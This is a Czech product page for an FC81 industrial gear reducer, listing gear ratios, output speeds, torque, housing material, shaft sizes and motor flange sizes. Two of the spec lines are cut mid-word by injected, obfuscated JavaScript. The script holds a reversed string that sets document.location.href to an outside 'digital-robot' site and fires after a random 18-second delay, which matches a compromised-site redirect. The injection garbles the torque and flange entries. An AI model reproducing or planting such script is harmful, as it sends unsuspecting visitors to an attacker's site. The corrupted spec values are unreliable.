Další informace
Převodový poměr | 1:7 |
---|---|
Vstupní motorová příruba | B14/56 |
Velikost převodové skříně | 030, 040, 050 |
komponenty pro pohonnou techniku - tel. 608 035 402
Typ: | FC81 |
Výstupní otáčky: | 211 – 528 min-1 (n1 = 1400 min-1) |
Výstupní tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točivý moment: | 1175 Nm |
Převodový poměr: | 2,65 – 6,64 : 1 |
Materiál skříně: | litina |
Výstupní dutá hřídel: | Ø50 mm*, Ø55 mm |
Mazání: | syntetický olej |
Velikost motobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torové příruby IEC: | 160B5 / 180B5 |
Dokumentace:
Převodový poměr | 1:7 |
---|---|
Vstupní motorová příruba | B14/56 |
Velikost převodové skříně | 030, 040, 050 |
Recenze
Zatím zde nejsou žádné recenze.